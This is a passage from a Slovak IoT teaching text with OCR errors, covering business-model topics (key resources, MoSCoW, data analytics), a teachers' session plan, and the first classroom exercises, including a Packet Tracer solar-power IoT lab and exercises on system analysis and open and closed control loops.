predaj - ndvrh cien, vyjedndvanie cien a podmienok s dodavatelmi,

zakaznicky servis - rieSenie problémov koncovych zakaznikov, administrativna podpora
presunu spatnej vazby na iné oddelenia, podpora predaja.

Kld¢ové zdroje
Kliové zdroje su hlavné vstupy a aktivity, ktoré spoloénost pouziva a aplikuje na vytvaranie
a dodanie kone&ného produktu zdkaznikovi. Casto su aj predmetom odlisenia od konkurencie.Su

nevyhutné pre fungovanie obchodného modelu. Obchodné modely su zvylajne zaloZzené na
mnozstve hmotnych a nehmotnych zdrojov.

KliCové zdroje sa zaoberaju operacnym koncom obchodného spektra aurcuju, aké materialy
a vybavenie potrebujeme a akytyp ludi potrebujeme zamestnat. Tento aspekt zohrava priamu ulohu
pri presadzovani hodnotovej ponuky do zvoleného segmentu zakaznikov.

Klticové zdroje su priamo zavislé od poctu a typu kltéovych produktov, s ktorymi sa spolo¢nost snazi
prerazit. Ichkvalita v kone¢nom ddsledku ovplyvni udrzatelnost a ziskovost celej spolo¢nosti.

Ak napriklad vyrobna spoloénost zaznamenala dvojnasobny narast dopytu, vedenie spolo¢nosti musi
poznat Struktdru fyzickych zdrojov, schopnosti dodavatelov, vyrobné kapacity. To vietko na pomerne
detailnej drovni, aby dokazalo efektivhe odhadnut svoju schopnost dodat vyrabané produkty.

Klticové zdroje podniku je mozné kategorizovat do 4 hlavnych skupin:
Fyzické zdroje

Fyzické aktiva si hmotné zdroje, ktoré firma pouziva na vytvorenie svojej hodnoty. M6zu zahfiat
zariadenia, inventdr, budovy, vyrobné zavody a distribu¢né siete, ktoré umoznuju fungovanie
podniku. Spoloc¢nost, ktord vyraba elektronické zariadenia, potrebuje polovodicové suciastky ako
klu¢ovy zdroj. Bez dostatoénej a dostupnej infrastruktury, organizacia nedokaze napliat poziadavky
a potreby podnikovych zakaznikov.

Dusevné zdroje

Ide o nefyzické, nehmotné zdroje ako znacka, patenty, autorské prava a dokonca aj partnerstva.
Zoznamy zakaznikov, ich znalost predstavuju formu intelektudlnych zdrojov. Tie potrebuju vela ¢asu
a znacné vydavky na rozvoj. Akonahle sa vyvinli, mozu ponuknut spolocnosti jedineéné vyhody.
Niektoré podniky maju velmi silné intelektudlne zdroje, ktoré sa Casto stavaju predmetom obchodu.

Ludské zdroje
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Zamestnanci su casto najdélezitejSimi a najlahsSie prehliadnutymi aktivami organizacie. Spolocnosti
v odvetvi sluzieb musia byt kreativne pri motivovani svojich zamestnancov. Pri technologickych
firmach, medzi kfti¢ovych zamestnancov patria napriklad inZinieri alebo vedci.

Financné zdroje

Finanény zdroj zahffia hotovost, Uverové linky, akcie na burze. V3etky podniky vyZaduju klucové
financné zdroje, no rbézne podniky ich potrebuji vroznej vyske. Prikladom vysokej potreby
financnych zdrojov su banky, ktoré su zaloZzené vylucne na dostupnosti tohto klucového zdroja.

Pre vyrobcu automobilov su fyzické zdroje zariadenia a vyrobne stroje, napriklad montazne roboty.
Dusevnym kluc¢ovym zdrojom je dusSevné vlastnictvo, ako su patenty a dokonca zakaznicky servis.
Kldéovym ludskym zdrojom s navrhari. Pokial ide o finanéné zdroje, vyrobca bude potrebovat
kapital na investovanie do infrastruktiry a zasob, no mdze ho navyse vyuzit aj na to, aby poskytol
zakaznikom moznost kupovat autd na prendjom alebo ziskat p6Zicku za lepsich podmienok, ako

poskytuju banky alebo iné financné institucie.

Konkuren¢nda vyhoda

Blok venovany konkurencnej vyhode sa sice neobjavuje v pévodnom Canvas modeli, kazdopadne
stoji za zamyslenie sa, ¢o robi firmu alebo produkt chranenym pred konkurenciou. V pripade Uspechu
sa bude konkurencia urcite snazit odkopirovat takmer vsetko, ¢o sa da.

Existuje niekolko moznych pricin konkurencnej vyhody na trhu:

patenty,

dusevné vlastnictvo,

strategické partnerstvo s vyznamnou znackou, dodavatelom, vyrobcom,

vytvorené vztahy s vyznamnymi zdkaznikmi,

sila nasho timu,

pristup k nezverejnenym informaciam,

vyhradna spolupraca so statnym sektorom,

existujuca zakaznicka komunita,

prekazky vstupu pre konkurenciu - ndkladné stroje, infrastruktira, znalosti, materialy.

Model Canvas je povazovany za iteraény model. Po jeho dokonceni, je moiné zacat s overovanim
oproti redlnemu stavu a moznostiam. Rozdiely, pripadne nové poziadavky a informacie sa zapracuju
v dalSom kole Uprav a zmien. Takymto sp6sobom sa po niekolkych kolach ziska podnikatelsky plan,
ktory ma vyssiu kvalitu, akd mal na zaciatku.

Podobny iteracny pristup je aplikovatelny aj v inych oblastiach, ako napriklad vyvoj softvéru alebo
hardvéru.

7.5 MoSCoW model

MoSCoW je technika, ktord pomaha porozumiet prioritdm. Pouziva sa v oblasti riadenia, obchodnej
analyzy, riadenia projektov avyvoja softvéru sciefom dosiahnut spolo¢né porozumenie so
zainteresovanymi stranami o dolezitosti, ktoré kladu na splnenie kazdej poZiadavky. Model je tiez
znamy ako MoSCoW prioritizacia alebo MoSCoW analyza. Nazov je zloZeny zo zacdiatoCnych pismen:
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M - Musi mat (Must have),

S - Mal by mat (Should have),

C - Mohol by mat (Could have),

W - Nebude mat, zatial (Won't have this time).

Vsetky poziadavky su doleZité a poZaduje sa, aby poskytli ¢o najskorsie a najviac pozitivne vysledky.
Pri vyvoji produktu je potrebné najprv dodat vlastnosti, ktoré spadaji pod pismeno M, nasledne
S a C. Az nakoniec sa vytvaraju poziadavky evidované pod pismenom W.

musi mat -poZiadavky su délezité pre aktudlne ¢asové doruéenie, aby bol produkt Gspesny.
Ak nie je zahrnuta Ziadana poziadavka, moze to viest k zlyhaniu projektu,

mal by mat -poZiadavky su dolezZité, ale nie s potrebné pre doruéenie v aktudlnom case.
Tieto poziadavky nie su tak ¢asovo kritické, alebo méze existovat iny sposob, ako splnit tuto
poziadavku,

mohol by mat—ide o poZiadavky, ktoré nie st nevyhnutné, ale mohli by zlepsit pouZivatelské
skusenosti alebo spokojnost zakaznikov pri nizkych nakladoch na vyvoj. Tieto budud obvykle
zahrnuté vtedy, ak to ¢as a zdroje dovolia,

nebude mat (zatial) - poZiadavky, na ktorych sa zainteresované strany nedohodli. Ide
najcastejsie o funkcie a vlastnosti s najnizSou navratnostou investicie (Usilie, ¢as a peniaze).

Na druhej strane sa objavuje aj kritika tejto metddy. Medzi hlavné nedostatky sa casto uvadza
nedostatocné oddvodnenie, kam zaradit konkurencéné poziadavky. Preco je poziadavka na vlastnost
alebo funkcionalitu produktu zaradend do kategdrie M a nie do kategérie S.

Dal$im potencidlnym problémom je nejasnost nad nacasovanim implementacie novych vlastnosti
produktu. Problém sa objavuje najma v kategdrii W. Nehovori sa o tom, ¢i dana vlastnost nebude
implementované v tejto verzii produktu, alebo uz nikdy. Modelu sa taktieZ vytyka silnd mozZnost
“politického” ovplyviiovania rozhodovacieho procesu vo firme. Clovek, ktory mé lepsie vztahy
s najvys$sim manazérom, si dokaze presadit aj horsie napady na ukor tych lepsich.

7.6 Datova analytika

Datova analytika, oznaCovana aj ako analyza udajov, je proces kontroly, Cistenia, transformacie
Udajov avytvarania modelov scielom najst uzitocné informacie, vytvorit zavery a podporit
rozhodovanie.

Analyza Udajov ma viacero moznych pristupov, ktoré zahfnaju rozlicné Statistické techniky a metédy
pod réznymi nazvami. Tieto techniky metddy sa pouzivaju v mnohych oblastiach od podnikania, cez

vedu a vyskumu techniky az po spolocenské vedy.

Z pohladu typu analyzy sa moze vykonavat:
popisna analyza (deskriptivna),

prediktivna analyza,
preskriptivna analyza.
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Popisnd analyza

VyuZiva hlavne pozorované udaje. Pouziva sa na identifikdciu kfucovych vlastnosti sledovaného
stuboru udajov. Zhrnuté U(daje z popisnej analyzy poskytuji informacie o predchadzajucich
udalostiach atrendoch vo vykone. Analyza zavisi vylucne na historickych udajoch a poskytuje
pravidelné spravy o udalostiach, ktoré sa uz stali v minulosti.

Tento typ analyzy sa pouZiva aj na generovanie ad hoc sprav, ktoré sumarizuju velké mnozstvo
Udajov a poskytuje odpoved na jednoduché otdzky: Kolko? Ako velmi? Co sa stalo?

Rozsah popisnej analyzy je zhrnut Udaje do kompaktnejSich a uzito¢nejsich informacii. Priklad
vystupu popisnej analyzy je hodinova sprava o vytazeni siete.

Prediktivna analyza

Pokusa sa predpovedat, ¢o sa mbzie stat dalej sistou mierou dovery zaloZenej na udajoch
a Statistikach. Prediktivna analyza sa mozZe pouzit na vyvodenie chybajlcich Udajov a vytvorenie
buducej trendovej linie zaloZzenej na minulych udajoch. PouZiva simulacné modely a progndzy na to,
aby naznadili, ¢o sa méze stat.Priklad prediktivnej analyzy je pocditatovy model, ktory sa pouziva na
predpovedanie pocasia.

Preskriptivna analyza

Predpoveda vysledky a navrhuje kurzy akcii, ktoré budd mat pre podnik alebo organizaciu najvacsie
prinosy. Analyza odporuca jednotlivé akcie alebo rozhodnutia zaloZzené na komplexnom subore
cielov, obmedzeni a moznosti. MézZe sa pouzit ako podpora pre zmiernenie, alebo dokonca vyhybanie
sa rizikam.

Tento typ analyzy mozZe vyuzivat aj principy spatnej vazby, ¢o umoznuje prepocitanie modelu, a tym
zvysit presnost predpovede a dosiahnutie lepsich vysledkov.Prikladom preskriptivnej analyzy je
pocitacovy model, ktory sa pouZiva na odporucanie akciového trhu na nakup alebo predaj akcii.

Priebeh datovej analyzy

Analyza Udajov je proces, kedy sa z nespracovanych udajov vytvaraju informacie uZito¢né pre
rozhodovanie pouzivatelov. Udaje sa analyzuju tak, aby odpovedali na otdzky, testovali hypotézy
alebo vyvriatili tedrie.

Existuje niekolko faz procesu analyzy. Jednotlivé fazy su iteracné, pretoZe spatna vazba z neskorsich
faz moze viest k prepracovaniu tych predchadzajucich.

Faza 1: Definovanie poziadaviek— Prvym krokom analytického procesu je identifikovanie problému
a jeho formalne definovanie. Je vhodné,aby definicia problému nebola prilis Siroka, ale ani prilis Uzka.
Po definicii problému je vytvorena hypotéza, ktora predstavuje vyskumnu otazku.

Je vhodné si taktiez ujasnit preco je potrebné vykonat analyzu aaky prinos budd mat vysledky
analyzy pre dalSie rozhodovanie.

Faza 2: Zber dat - V tejto faze sa identifikuju kfucové udaje, urci sa ich format a potrebné mnozstvo,
ktoré je dostatocné pre vykonanie analyzy. Modernym trendom v oblasti zberu dat su takzvané open
datasety. Ide o subory dat, ktoré st verejne dostupné pre uUcely analyz a vyskumov.
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Faza 3: Priprava dat — Ide o ¢asovo narocny proces, ktory zabezpeci, Ze vstupné Udaje budu upravené
do formatu, ktory je pouzitelny pre naslednu analyzu. Zo ziskanych dat moze byt napriklad potrebné
odstranit tie, ktoré st nelplné, alebo chybné. Taktiez je ¢asto potrebnd Uprava formatu dat. Pévodna
forma, v akom su Udaje zaznamenané, je odlisna od tej, ktora je vyZadovana pre dalSie spracovanie.

Faza 4: Vyber modelu — Vyber sprdvnej analytickej metédy a postupu su velmi dolezité. Kazida
metdda je vhodna pre iny typ informacii a poskytuje odpovede na iné otazky. Linedrna regresia sa
pouZiva na iny Ucel ako korelacné matice.

Faza 5: Analyza dat — Proces testovania vysledkov modelu, overenie ich spolahlivosti. V tejto faze sa
overuje, Ci ziskané vysledky odpovedali na otazku, alebo problém definovany na zaciatku
analytického procesu.

Faza 6: Prezentacia vysledkov - V tomto kroku su zvycajne vysledky prezentované vizualnou formou,
ktora je sprevadzand textovym popisom. Vtexte je uvedend interpretacia vysledkov, ktord ma
poméct pochopit nové informacie azasadit ich do kontextu problému, ktory bol definovany na
zaciatku.

Faza 7: Rozhodnutie — Poslednym krokom analytického procesu je rozhodnutie o rieseni problému.
Moze to byt napriklad vyber projektu s najlepsim indexom navratnosti investicie.

Analytika je proces zhromazdovania aanalyzy uUdajov pomocou matematickych a Statistickych
technik. Zahffia aj interpretaciu Udajov a prezentaciu novych zisteni. Dal$im velmi zaujimavym
pouzitim Statistiky, je hladanie a vyhodnocovanie vzorov alebo vztahov medzi premennymi.
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Ako pracovat s metodickymi pokynmi

Metodické pokyny boli vytvorené ako sprievodny material k hlavnej knihe. Ciefovou skupinou su uditelia
strednych $kol so zameranim na informatiku, pocitacové siete, elektroniku, automatizaciu a ucitelia
vseobecnych strednych $kol. Vzdeldvanie v oblasti Internetu veci je vsak integrované aj do vyucby na
vybranych gymnaziach, preto je vhodné aj pre ucitefov tohto typu Skél.

Pre efektivnu pracu bol vytvoreny odporucany plan, ktory obsahuje tématické rozdelenie jednotlivych
sedeni. Pre kazdé sedenie bola zvolend jedna konkrétna téma alebo oblast, ktor( si mozZete prebrat.
Jednotlivé témy su diskutované v hlavnej knihe. Dopliiujuce zdroje informdcii najdete v metodickych
pokynoch k cvi¢eniam.

PriloZzent tabulku mozZete interpretovat nasledujicim spdsobom.

Sedenie Téma Kapitoly knihy Cvicenia

1 Uvod do Internetu veci 1 S01-CV1 - Packet Tracer — Uvod do sveta
loT

Pre prvé sedenie, bola naplanovana téma Uvod do Internetu veci, pricom tito tému pokryva prva kapitola
hlavnej knihy a cvicenie S01-CV1, ktoré ma nazov - Packet Tracer — tvod do sveta loT.

Kod jednotlivych cviceni viete interpretovat ako SEDENIE_01-CVICENIE_1. Niektoré sedenia obsahuju aj
dve cvicenia. V jednotlivych cvicenia sa mozZe nachadzat aj niekolko Ciastkovych Uloh. Na zaver cvicenia,
st uvedené dopliiujuce otazky, ktoré su vhodné pre Sikovnych Ziakov. Tymto dostanu impulz napriklad pre
vylepsSenie vytvoreného rieSenia o novu funkcionalitu.

Pre samostudium je na konci kazdého cvi¢enia uvedenych niekolko odkazov, ktoré sa tykaju preberanej
témy. Na tychto odkazoch najdete Vy alebo Studenti dopliiujice informacie i iné zaujimavosti.
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Odporuacany plan

Celkovo bolo vytvorenych 37 metodickych pokynov pre 37 tematickych cvi¢eni. Ocakavand hodinova
dotacia predmetu Internet veci je 33 sedeni. Pre kazdé cvicenie bolo vytvorené minimalne jedno cvicenie.
Cvi¢enie mdze obsahovat viac ¢iastkovych uloh a doplriujicich otazok.

Sedenie Téma Kapitoly knihy Cvicenia
1 Uvod do Internetu veci 1 S01-CV1 - Packet Tracer — Uvod do sveta
loT
2 Embedded systémy, Arduino, 2.1-2.4 S02-CV1 - Analyza funkcionality systému
Raspberry Pl
3 Rozsirujuce moduly, 2.5-2.10 S03-CV1 - Otvorena a uzatvorena slucka
komunikacia, senzory systému,
otvorena a zatvorena slucka
4 Tematicky projekt 1-2 S04-CV1 - Navrh funkéného diagramu
S04-CV2 - Virtualny pocitac a systém
5 Softvér, operacné systémy, 3.1-3.5 S05-CV1 - Zber poZiadaviek pre softvér
vyvoj softvéru
S05-CV2 - Priprava operacného systému
(Raspberry PI)
6 Metodoldgie, vyvojové 3.1-3.5 S06-CV1 - Blokovy diagram
diagramy, pseudokdd S06-CV2 - Psuedokod
7 Zaklady programovania 3.6 S07-CV1 - Python — vstupy/vystupy
(vstupy/vystupy)
8 Zaklady programovania (cykly) 3.6 S08-CV1 - Python — cyklus
9 Zaklady programovania (funkcie) | 3.6 S09-CV1 - Python — funkcie
10 Web a spracovanie dat 3.8 S10-CV1 - Headless pristup k Raspberry
Pl
11 Web a spracovanie dat 3.8 S11-CV1 - Webovy server — Raspberry Pl
(pokracCovanie)
12 Tematicky projekt 3 S$12-CV1 - Webova aplikacia v jazyku
Python a Flask na Raspberry PI
13 Zaklady elektroniky 4.1-4.2 S13-CV1 - Kirchhoffové zakony
14 Pasivne a aktivne suciastky 4.3 S14-CV1 - Deli¢ napétia
15 Pasivne a aktivne suciastky 4.4 S$15-CV1 - Ovladanie vystupného napétia
(pokracCovanie)
16 Elektromechanické prvky, 4.5-4.8 S$16-CV1 - Dekoracné osvetlenie
aktuatory, Riadenie s pomocou
pulzno-sirkovej modulacie
17 Tematicky projekt 4 S17-CV1 - Poplasné IoT zariadenia
(Arduino)
S17-CV2 - Poplasné IoT zariadenia
(Raspberry PI)
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18 Sietova komunikacia 5.1-5.3 S18-CV1 - Wireshark — sietova
komunikacia
19 Diagnostika sieti, Diagnostické 5.4 S$19-CV1 - Diagnostika sieti
nastroje, pristupy
20 loT protokoly 5.5 S20-CV1 - Mozilla loT Gateway
21 Uvod do kybernetickej 6.1-6.2 $21-CV1 - Prieskum bezpecnostnych
bezpecnosti hrozieb
22 Priebeh Utoku 6.3, 6.5 S$22-CV1 - Detekcia zranitelnosti
23 Ochrana proti Utokom 6.4 $23-CV2 - Audit spravania sa v online
svete
24 Sifrovanie 6.6-6.7 S24-CV1 - Overenie Integrity dat
25 Tematicky projekt 5-6 $25-CV1 - Vlastny loT koncept
26 Podnikanie a loT 7.1-7.2 $26-CV1 - Canvas model — existujuci
produkt
27 Navrh prototypu 7.2 $27-CV1 - Canvas model — novy produkt
28 Zivotny cyklus (LCM) 7.4 $28-CV1 - Produkt a trh
29 Datova analytika 7.6 $29-CV1 - Zaklady datovej analyzy
30 Tématicky projekt 7 S30-CV1 - Datova analyza internetového

pripojenia
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CVICENIE S01-CV1: Packet Tracer — Gvod do loT

Kfdcové slova

loT, Packet Tracer, LED

Vystup cvicenia

S pomocou aplikacie Packet Tracer 7.1 (dostupna cez portdl NetAcad) sa zoznamte s konceptom loT.

Ziskané vedomosti a skusenosti

Absolvovanim cvic¢enia sa naudite:

B koncept loT,
B zoznamite sa s aplikaciou Packet Tracer,
B zoznamite sa s prepdjanim loT zariadeni.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

B Packet Tracer verzie 7.1.

B PKA subor — dostupny v kurze Conneting Things (1.2.2.5) Online:
https://static-course-
assets.s3.amazonaws.com/lIoTFCT201/en/course/files/1.2.2.5%20Packet%20Tracer%20-
%20Connecting%20Devices%20t0%20Build%20IoT.pka

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia nebudete potrebovat Ziadne Specidlne znalosti.
Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvitenia preberat, aké je jeho vyuZitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zaklady prace s aplikaciou Packet Tracer.

3) V spolupraci so studentmi vyrieste nizsie uvedené cvicenia.

Teoreticky Uvod

V tejto aktivite budete budovat solarny napéjaci zdroj monitorovany cez loT siet. Funkcionalita bude
nasledujuca: sinko nabija solarny panel, ktory posiela elektricki energiu do batérie na uskladnenie a
distribdciu energie. Merac vykonu pripojeny medzi nimi Cita a zobrazuje mnoZstvo energie zachytenej
solarnym zariadenim.
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PretoZe vSetky zariadenia su pripojené na internet ako loT, zaregistruju sa na registrachom serveri. Tato
registracia umozniuje pouzivatelovi sledovat cely systém z webového prehliadaca na pocitaci alebo
teleféne.

Vyhoda tohto riesenia internetu veci je v moznosti, ked pouzivatel mdze sledovat spotrebu energie

v systéme nielen lokdalne, ale aj vzdialene. Dal$im krokom by bolo pripojenie mikrokontroléra a napisanie
kdédu vypnutia jednej alebo viac LED didd, ked vykon batérie klesne pod definovanu hranicu. Tento
Usporny rezim by umoznil batérii sa nejaky ¢as dobijat predtym, nezZ by sa vSetky LED diédy mohli opat
spustit.

Realizacia cvicenia
Uloha 1

Zacnete Styrmi LED diédami, pocitacom, prepinacom a serverom. Pridajte nasledujuce zariadenia
vyhladanim a tahanimdo pracovného priestoru Packet Tracer:

Connected Battery
Connected Solar Panel

\ "

Connected Power Meter

Jednotlivé komponenty najdete v menu:

e Zariadenie PT-Solar Panel. PT-solarny panel ndjdete v ¢asti Koncové zariadenia >> Elektricka siet.

e Zariadenie s PT batériou. Batéria PT najdete v Casti Koncové zariadenia >> Elektricka rozvodna
siet.

e Pristroj PT-Power Meter. PT-Power Meter ndjdete v Casti Koncové zariadenia >> Power Grid.

e Pomocou vlastnych kablov loT pripojte solarny panel a batériu k meracu vykonu podla tabulky
uvedenej nizsie. Vlastny kabel loT najdete v ¢asti Pripojenia.
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Pomocou nizsie uvedenej tabulky najdite spravne porty:

Solarny panel DO DO

Batéria DO D1

Pomocou vlastnych kablov loT pripojte LED k batérii podla nasledujtcej tabulky. Pomocou nizsie
uvedenej tabulky najdite spravne porty:

LED1 D1
LED2 D2
LED3 D3
LED4 D4

:IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

= POZNAMKA!

N EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEESEEESEEEESEEESEEEESEEEEEEEEEEEEEER

. Packet Tracer moze pomenovat jednotlivé komponenty a zariadenia IoT inak. KedZe nazov
" nema vplyv na aktivitu, mozete lubovolne premenovat svoje zariadenia pre jednoduchu

E identifikaciu.
n
n
n
n

Je potrebné si uvedomit, Ze pre jednoduchost, Packet Tracer neimplementuje spravne napéjaci
® kdbel. Pojmy ako zem, polarita, Specifické konektory, Sirka kabla a dalSie, su pre jednoduchost
E skryté za multifunkénym kablom loT Custom Cable. V redlnom svete nezabudnite vybrat
= spravny kabel a konektory. Predidete tym skodam a zraneniam.

Pomocou priameho kabla Ethernet pripojte port Ethernetu solarneho napajania, batérie a merac vykonu
k switchu podla nasledujuicej tabulky. Tymto zabezpecite, aby zariadenia mohli komunikovat so
serverom. Priame kable Ethernet najdete v Casti Pripojenia.

EEEEEEEEEEEEEEEEEEEEREEERT
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Solarny panel Fa0/3
Power meter Fa0/4
Batéria Fa0/5

Uloha 2

Teraz, ked'su zariadenia spravne prepojené kablom, musia byt nakonfigurované. PretoZe tento systém
zavisi od IP sieti, musia byt zariadenia nakonfigurované so spravnymi informaciami o IP adrese.
Vzhladom k tomu, Ze server je tiez nakonfigurovany ako server DHCP, zariadenia loT by mali byt
nakonfigurované ako klienti DHCP, aby sa udili IP informacie automaticky.

B Kliknite na solarny panel, prejdite na kartu Config >> GigabitEthernetO a vyberte DHCP pod IP
Konfiguracia.

B Kliknite na merac¢ vykonu, prejdite na kartu Config >> FastEthernetO a zvolte DHCP pod IP
Konfiguracia.

B Kliknite na batériu, prejdite na zalozku Config >> FastEthernet0 a vyberte DHCP pod IP
Konfiguracia.

Vyplnte nasledujucu tabulku s pridelenymi IP adresami:

Solarny panel

Power meter

Batéria

Pred spravnym fungovanim sa zariadenia musia zaregistrovat na server. Nakonfigurujte zariadenia
pomocou server IP adresy, aby im umoznili najst a komunikovat so serverom. Kliknite na solarny panel,
prejdite na kartu Konfiguracia >> Nastavenia a vyberte polozku Server na dialku pod internetom Server.
Zadajte nasledujuce informdcie o serveri:

Adresa servera: 1.0.0.1

Pouzivatelské meno: admin

Heslo: admin

Kliknite na tladidlo Pripojit. Opakujte proces meracieho pristroja a batérie. Pouzite rovnakd adresu
servera, pouzivatelské meno a adresu ako je uvedené vyssie.

Uloha 3

Simulované pouZivanie systému. Teraz, ked' su vsetky zariadenia pripojené, vsimnite si, ako solarny panel
nabija batériu.

B Vsimnite si, ako LED diédy Cerpaju energiu z batérie pre prevadzku.
B Vsimnite si, ako LED zhasnu, ak sa batéria nenabija.
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B Kliknite na pocitac a prejdite na webovy prehliada¢ Desktop >>.
B Zadajte adresu IP servera, 1.0.0.1 a stlacte klaves enter.
B Na prihlasenie sa na server pouZite nasledujlce poverenia:

o Pouzivatelské meno: admin

o Heslo: admin

Otazky a ulohy na zamyslenie

1. Kolko zariadeni sa zobrazuje na stranke? Ako sa volaju?

2. Preco nie su uvedené ostatné zariadenia, prepinac, server a pocitac? Je to chyba?

3. Kliknutim na kazdé zariadenie ho rozbalte a monitorujte stav konkrétneho zariadenia.

Odporucané zdroje

[1] Packet Tracer - https://www.netacad.com/courses/packet-tracer
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CVICENIE S02-CV1: Analyza funkcionality systému

Kfucoveé slova

Analyza systému, vysoko-Uroviovy pohlad

Vystup cvicenia

Schopnost analyzovat komunikaénu Struktdru loT zariadenia a komunikaéného procesu.

Ziskané vedomosti a skusenosti

Absolvovanim cvic¢enia sa naucite:

B analyzovat funkénost softvérovych systémov,
B identifikovat vstupy a vystupy.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvienia nie su vyZadované Ziadne technické pomocky.
Prerekvizity znalosti

Pre Uspesnu realizaciu cvienia nie su vyZadované Ziadne Specialne znalosti.
Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept identifikovania blokov systému, ich funkcionality a uéelu.

3) Rozdelte studentov do mensich skupin a poZiadajte ich o vypracovanie uloh.

Teoreticky Uvod

Proces je subor Cinnosti, ktory ziska vstupy, vykona nad nimi definované operacie a poskytne
pozadované vystupy. Vystupy mozu ¢loveku poskytovat napriklad sluzbu, pripadne informacie o redlnom
svete.

Principy fungovania systémov je vhodné zacat analyzovat z vy$sej drovne. V anglictine sa takyto pohlad
oznacuje ako high-level. Ziskame tym prehlad o vstupoch a vystupoch systému, vykonavanych
operaciach a hlavnych komponentoch systému.
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= POZNAMKA!
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E Podrobnosti o analyze systémov najdete v kapitolach 1-2 a v odkazoch uvedenych na konci
= tohto cvicenia.

[N ]
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Realizacia cvicenia

V tomto cviéeni budu predstavené dva modely analyzy procesu. Ulohou bude podobnym postupom
doplnit Udaje o nezndmom procese.

Uloha 1: Automobil

Automobil je dopravny prostriedok, s ktorym sa stretdvame denne. Pre bezpecnu jazdu je potrebné
sledovat vystupy, ktoré musia byt vodi¢om (pripadne riadiacou jednotkou, ¢i asistenénym systémom)
vyhodnotené a korigované. Tymto sa upravi spravanie automobilu, ¢o zabezpeci jeho bezpecnu
prevadzku.

Podobnym pristupom moze byt v kontexte loT analyzovany [ubovolny loT systém.

Pre ovplyvnenie systému su potrebné operacie, o ktorych vykonani vieme spravne rozhodnut len na
zaklade aktudlnych parametrov. Tie su ziskavané pomocou snimacov (vstupy). Zmena spravania
automobilu je poZadovanym vystupom.

Rychlost Zrychlenie Uprava rychlosti
Smer Spomalenie Zmena smeru
Vzdialenost od inych vozidiel Riadenie smeru

Vystupy — Predstavuju pozadovanu zmenu pre udrZanie systému v rovnovaznom stave. Napriklad Uprava
rychlosti - spomalenie vozidla.

Operacie — Akcie, ktoré pomahaju dosiahnut vystup. Napriklad brzdenie vozidla.

Vstupy - Snimace vozidla, ktoré poskytuju aktualne informacie o jazde. Tieto Udaje su charakterizované
ako vstupy do systému riadiacej jednotky.

Uloha 2: Pracka

Spinavé oblegenie Pranie Vycistenie oblecenia
Pracie prostriedky Zmykanie Osusenie oblecenia
Susenie
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Uloha 3: Termostat (dopliite)

Uloha4: CNC ststruh (dopliite)

Uloha 5: Dron(dopliite)

Uloha 6: Navigaény systém (dopliite)

Prezentacia

B Odporucame skupinovu diskusiu k vyplnenym tabulkam.

Otazky a ulohy na zamyslenie

1) Navrhnite dalSie systémy a analyzujte ich funkcionalitu.
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Odporucané zdroje

[1] Electronic system-level design and verification - https://en.wikipedia.org/wiki/Electronic_system-
level design and verification

[2] The Electronic System Design, Analysis, Integration, and Construction -
https://pdfs.semanticscholar.org/d2ba/8a515a34f5c3145e2dca9357fbd5153a4345.pdf
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CVICENIE S03-CV1: Otvorend a uzatvorena slucka

Kfd¢ové slova
otvorena slucka, uzatvorena slucka
Vystup cvicenia

Vystupom cvicenia je spoznanie, identifikacia a rozdelenie slucky spatnej vazby, ktoru vyuzivaju
jednotlivé technické zariadenia.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B analyzovat, porovnat koncept otvorenej slucky riadiacich systémov,
B analyzovat, porovnat koncept zatvorenej slucky riadiacich systémov,
B identifikovat typ slucky pouzity v konkrétnom systéme.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

B fotografie, pripadne vizualne nakresy technickych zariadeni.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zakladna definicia a funkcionalita snimacov,
B prehlad fyzikalnych principov, ktoré mézu byt snimané.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvitenia preberat, aké je jeho vyuZitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept fungovania otvorenej a uzatvorenej slucky.

3) Poziadajte studentov o navrhnutie loT aplikacie, kedy by vyuZili rozne typy slucky. Konzultujte
pripadné problémy a komplikacie.

4) Rozdelte studentov do mensich skupin.

5) Poziadajte skupiny o vyplnenie vzorovej tabulky.

6) Tabulku je moZné rozsirit o vlastné napady technickych zariadeni.
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Teoreticky Uvod

Riadiaci systém s otvorenou sluc¢kou nekontroluje vystup. Nedokaze teda urcit, aké Upravy maju byt
vykonané na vstupe. V riadiacom systéme s uzavretou sluckou sa vystup meria za Ucelom urcenia, Ci je
potrebné upravit vstupy. Prikladom uzatvorenej slu¢ky moze byt zavlazovaci systém so snimacom
vlihkosti pody.

Realizacia cvicenia

Analyzujte systém technického zariadenia a identifikujte, akym sp6sobom snima fyzikalne veliciny a riadi
svoju funkcionalitu.

Susicka na oblecenie bez Otvorena Bez snimaca vlhkosti nedokaze
snimania vlhkosti susSicka urcit optimalnu dlzku
programu.

Svetelny obvod v miestnosti

Termostat

Ovladanie hlasitosti radia

Klimatizacia

Umyvacka riadu

Servoriadenie vozidla

Otazky a ulohy na zamyslenie
1) Je moiné, aby technické zariadenie pouzivalo viac systémov spatnej vazby sucasne?

2) Aky vplyv na zariadenie by mala zmena typu spatnej vizby (otvorena - uzatvorena, uzatvorend
- otvorenad)?

Odporucané zdroje

[1] Rozdiely medzi otvorenou a uzatvorenou sluc¢kou: https://www.quora.com/How-do-closed-loop-
systems-differ-from-open-loop-systems

[2] Otvorena slucka: https://www.electronics-tutorials.ws/systems/open-loop-system.html

[3] Uzatvorena sluéka: https://www.electronics-tutorials.ws/systems/closed-loop-system.html
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CVICENIE S04-CV1: Navrh funkéného diagramu

Kfucoveé slova
